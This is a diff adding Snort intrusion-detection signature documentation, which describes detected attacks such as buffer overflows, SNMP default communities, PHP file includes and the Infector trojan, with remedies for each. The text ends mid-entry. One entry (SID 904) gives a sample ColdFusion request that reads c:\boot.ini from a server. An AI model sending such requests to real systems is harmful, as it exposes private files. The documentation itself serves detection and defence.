+Snort documentation contributed by Maarten Van Horenbeeck (maarten@daemon.be)
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10559
+
+Bugtraq
+http://www.securityfocus.com/bid/1652
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0841
+
+--
--- snort-2.8.5.2.orig/doc/signatures/289.txt
+++ snort-2.8.5.2/doc/signatures/289.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+289
+
+--
+Summary:
+This event is generated when a remote attacker attempts to exploit a 
+QUALCOMM Qpopper POP3 buffer overflow vulnerability in SCO OpenServer 
+systems.
+
+--
+Impact:
+Remote execution of arbitrary code leading to remote root compromise.
+
+--
+Detailed Information:
+An exploit is available that takes advantage of a buffer overflow 
+vulnerability in QUALCOMM Qpopper POP3 mail server version 2.53 or 
+earlier. This exploit can be used to obtain root access to the 
+compromised server.
+
+--
+Affected Systems:
+SCO servers that ship QUALCOMM Qpopper POP3 server version 2.53 or 
+earlier:
+ -SCO OpenServer Enterprise System Release 5.0.5, 5.0.6, 5.0.6a
+ -SCO OpenServer Host System Release 5.0.5, 5.0.6, 5.0.6a
+ -SCO OpenServer Desktop System Release 5.0.5, 5.0.6, 5.0.6a
+ -SCO OpenServer Enterprise System Release 5.0.4
+ -SCO OpenServer Host System Release 5.0.4
+ -SCO OpenServer Desktop System Release 5.0.4
+
+--
+Attack Scenarios:
+An attacker executes exploit code against a vulnerable server and 
+obtains root privileges on the compromised computer.
+
+--
+Ease of Attack:
+Simple. An exploit exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade QUALCOMM Qpopper. See ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.8/ for patched binaries for SCO OpenServer and an advisory with installation instructions.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+CERT
+http://www.cert.org/advisories/CA-1998-08.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2742.txt
+++ snort-2.8.5.2/doc/signatures/2742.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2742
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_varchar2
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1411.txt
+++ snort-2.8.5.2/doc/signatures/1411.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+1411
+
+--
+
+Summary:
+This event is generated when an SNMP connection over UDP using the 
+default 'public' community is made.
+
+--
+
+Impact:
+Information gathering
+
+--
+
+Detailed Information:
+SNMP (Simple Network Management Protocol) v1 uses communities and IP 
+addresses to authenticate communication between the SNMP client and SNMP
+daemon. Many SNMP implementations come pre-configured with 'public' and 
+'public' communities. If these are not disabled, the attacker can 
+gather a great deal of information about the device running the SNMP 
+daemon.
+
+--
+
+Affected Systems:
+Devices running SNMP daemons with 'public' community enabled.
+
+--
+
+Attack Scenarios:
+An attacker scans a range of IPs for SNMP servers having the 'public' 
+community set and gathers information about the hosts.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Disable the 'public' and 'private' communities before connecting the 
+device with SNMP on the Internet or block access to SNMP ports using a 
+packet filtering firewall for unauthorized addresses.
+
+--
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1612.txt
+++ snort-2.8.5.2/doc/signatures/1612.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1612
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/904.txt
+++ snort-2.8.5.2/doc/signatures/904.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+904
+
+--
+Summary:
+This event is generated when an attempt is made to access an Example 
+application on a Coldfusion 4.x server. 
+
+--
+Impact:
+Serious. The vulnerability is not limited to files in the webspace, so 
+system files or additional unexecuted code files could be retrieved and 
+examined for vulnerabilities.
+
+--
+Detailed Information:
+ColdFusion (Macromedia, formerly Allaire) web servers have several 
+default Example applications installed that have vulnerabilities.  The 
+email application can be exploited to allow remote viewing of arbitrary 
+files.
+
+--
+Affected Systems:
+ColdFusion versions 4.0 thru 4.5 (4.5.1 is not vulnerable), on all 
+supported platforms
+
+--
+Attack Scenarios:
+The file at cfdocs/exampleapp/email/application.cfm includes a page,
+cfdocs/exampleapp/email/getfile.cfm, that can accept URL-mangled 
+requests like:
+
+http://www.server.com/cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini
+
+This allows trivial remote retrieval of any file on the server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If ColdFusion 4.x's example code is being used, This rule will generate 
+an event.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Delete all example code.  This is one of several significant 
+vulnerabilities that are exploitable if the example code is left on a 
+production server.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Darryl Davidson <ddavidson@talisman-intl.com>
+
+-- 
+Additional References: CAN-2001-0535 
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0535
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3206.txt
+++ snort-2.8.5.2/doc/signatures/3206.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3206
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3073.txt
+++ snort-2.8.5.2/doc/signatures/3073.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3073
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"subscribe" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2204.txt
+++ snort-2.8.5.2/doc/signatures/2204.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2204
+
+--
+Summary:
+This event is generated when an attempt is made to access ezadmin.cgi on an internal web server. This may indicate an attempt to exploit a buffer overflow vulnerability in EasyBoard 2000 version 1.27.
+
+--
+Impact:
+Remote execution of arbitrary code, possibly leading to remote root compromise.
+
+--
+Detailed Information:
+EasyBoard 2000 (EZBoard) is CGI-based bulletin board software for web servers. It contains a vulnerability that allows a malicious user to craft an HTTP request that causes a buffer overflow condition on the web server, and can overwrite system memory with data included in the URL. This enables the attacker to execute arbitrary code on the server with the security context of the web server.
+
+--
+Affected Systems:
+Systems running EasyBoard 2000 1.27.
+
+--
+Attack Scenarios:
+An attacker sends a specially crafted HTTP request to ezadmin.cgi on a vulnerable web server, creating a buffer overflow condition. The attacker is then able to execute arbitrary code with the security context of the web server. 
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses ezadmin.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is not known if this vulnerability has been patched by the vendor. However, Jin Ho Yu has submitted a third-party fix to the Bugtraq list. See http://marc.theaimsgroup.com/?l=bugtraq&m=101345069220199&w=2 for ezboard-fix.pl. 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/4068
+
+--
--- snort-2.8.5.2.orig/doc/signatures/552.txt
+++ snort-2.8.5.2/doc/signatures/552.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+552
+
+--
+Summary:
+This event is generated when activity by Peer-to-Peer (p2p) clients is detected.
+
+--
+Impact:
+Informational event. Unauthorized use of a p2p client may be in progress.
+
+--
+Detailed Information:
+This event indicates that use of a p2p client has been detected. This may be against corporate policy. p2p clients connect to other p2p clients to share files, commonly music and video files but can be configured to share any file on the local machine.
+
+This activity may not only use bandwidth but may also be used to transfer company confidential information to unauthorized hosts external to the protected network bypassing other security measures in place.
+
+--
+Affected Systems:
+Any host using a p2p client.
+
+--
+Attack Scenarios:
+This is indicative of the use of a p2p client.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check the host and uninstall any p2p client found.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+OpenNap Specification
+http://opennap.sourceforge.net/napster.txt
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1393.txt
+++ snort-2.8.5.2/doc/signatures/1393.txt
@@ -0,0 +1,71 @@
+Nigel removed w00.w00 reference - no longer active
+
+Rule:
+
+--
+Sid:
+1393
+
+--
+Summary:
+This event is generated when exploit traffic is observed that attempts to cause a buffer overflow in a Windows host running America Online (AOL) Instant Messenger (AIM).
+
+--
+Impact:
+Attempted user level access.  A successful attack may permit the execution of arbitrary code with the privileges of the user running AIM.
+
+--
+Detailed Information:
+AIM can be used for message and file exchanges as well as to play games with other AIM users.  A buffer overflow exists in AIM game request code (AddGame) that may permit the execution of arbitrary code on a Windows client AIM host with the privileges of the user running AIM.  
+
+--
+
+Affected Systems:
+Windows hosts running AIM 4.3 - 4.8.2616.
+
+--
+Attack Scenarios:
+An attacker may craft a malformed AIM game request causing a buffer overflow, and potentially permitting the execution of arbitrary code with the privileges of the user running AIM. 
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+This event is trigger when known exploit code is run.  It may be possible that other exploit code exists that will not trigger this event.
+
+--
+Corrective Action:
+
+ -Workstation:
+   Upgrade to version 2001B Beta v5.18 Build #3659 or later.
+
+    or
+
+   Go to Preferences in AIM -> Privacy ->
+   In "Who can contact me" check "Allow only users on my Buddy List".
+
+ -Network:
+   Block AIM traffic into and out of your network.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0005
+
+Bugtraq:
+http://www.securityfocus.com/bid/3769
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000373.txt
+++ snort-2.8.5.2/doc/signatures/100000373.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000373
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_user_ban.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_user_ban.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2166.txt
+++ snort-2.8.5.2/doc/signatures/2166.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2166
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/281.txt
+++ snort-2.8.5.2/doc/signatures/281.txt
@@ -0,0 +1,73 @@
+Rule:  
+
+--
+Sid:
+281
+
+--
+Summary:
+This event is generated when an attempt is made to issue a Denial of 
+Service (DoS) attack that causes some Ascend routers to reboot.
+
+--
+Impact:
+Denial of Service. Traffic between network segments or between internal 
+and external networks can be disrupted.
+
+--
+Detailed Information:
+Some Ascend routers run configuration software that is able to locate 
+other Ascend routers by broadcasting on UDP port 9 (discard).  This port
+is listened on by the Java Configurator tool.  A packet with a specially
+crafted payload can cause the routers to reboot.
+
+--
+Affected Systems:
+	Lucent Ascend MAX Router 5.0 and previous
+	Lucent Ascend Pipeline Router 6.0 and previous
+	Lucent Ascend Pipeline Router 6.0 and previous
+
+
+--
+Attack Scenarios:
+Ascend routers can be forced to reboot remotely without authorization.  
+Since the offending packet is UDP (which is not connection oriented), 
+the sending address can be easily spoofed.  
+
+--
+Ease of Attack:
+Simple.  An exploit is available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+An upgrade is available from the manufacturer.  Filtering traffic to 
+port 9 will also prevent this exploit.  
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS262
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0060
+
+Bugtraq:
+http://www.securityfocus.com/bid/714
+
+--
--- snort-2.8.5.2.orig/doc/signatures/837.txt
+++ snort-2.8.5.2/doc/signatures/837.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+837
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000673.txt
+++ snort-2.8.5.2/doc/signatures/100000673.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000673
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "web_statsConfig.php" using a remote file being passed as 
+the "php_ext" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "php_ext" parameter in the "web_statsConfig.php" script 
+used by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/120.txt
+++ snort-2.8.5.2/doc/signatures/120.txt
@@ -0,0 +1,112 @@
+Rule:
+
+--
+Sid:
+120
+
+--
+Summary:
+Infector is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data via download, upload of files, execution of files
+and reboot the targeted machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Infector sever to
+programs normally started on boot. Due to the nature of this Trojan it 
+is unlikely that the attacker's client IP address has been spoofed.
+
+	SID	Message
+	---	-------
+	117	Infector 1.x
+	120	Infector 1.6 Server to Client
+	121	Infector 1.6 Client to Server Connection Request
+
+This Trojan is commonly used to install other Trojan programs.
+
+The Trojan also makes changes to the system registry and win.ini file.
+
+Notification of an active server is achieved via IRC or ICQ.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This 
+event is indicative of an existing infection being activated. Initial 
+compromise can be in the form of a Win32 installation program that may 
+use the extension ".jpg" or ".bmp" when delivered via e-mail for 
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. 
+Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is located at <drive>:\WINDOWS\Apxil32.exe a backup 
+copy is made and usually named D3x32.drv.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a 
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
+
+Registry keys added are:
+
+	apxil32 = apxil32.exe
+
+Removal of this entry is required.
+
+Delete the file <drive>:\WINDOWS\Apxil32.exe
+
+Ending the Trojan process is also necessary. A reboot of the infected 
+machine is recommended.
+
+A change is also made to the win.ini file, the line run=apxil32.exe 
+apxil32.exe is added and should be deleted.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS315
+http://www.whitehats.com/info/IDS502
+http://www.whitehats.com/info/IDS503
+
+Diamond Computer Systems Security Advisory
+http://www.diamondcs.com.au/web/alerts/infector.htm
+
+Megasecurity:
+http://www.megasecurity.org/trojans/i/infector/Infector_all.html
+
+Simovits:
+http://www.simovits.com/trojans/tr_data/y1627.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1101.txt
+++ snort-2.8.5.2/doc/signatures/1101.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1101
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1357.txt
+++ snort-2.8.5.2/doc/signatures/1357.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1357
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3017.txt
+++ snort-2.8.5.2/doc/signatures/3017.txt
@@ -0,0 +1,68 @@
+Rule: 
+
+--
+Sid: 
+3017
+
+-- 
+Summary: 
+An oversized request was sent to a WINS server.
+
+-- 
+Impact: 
+Client-supplied data is written to client-specified locations in memory,
+allowing for arbitrary code execution. Since WINS servers run with
+administrative privileges, this allows an attacker to gain
+administrative access remotely without any prior authentication.
+
+--
+Detailed Information:
+Vulnerable WINS servers write client-supplied data to a client-supplied
+memory address. This allows clients to supply arbitrary code for
+execution with administrative privileges. This attack does not require authentication.
+
+In order to reduce false positives, the rule looks for requests that are
+greater than 204 bytes. As the maximum length of a hostname is 192
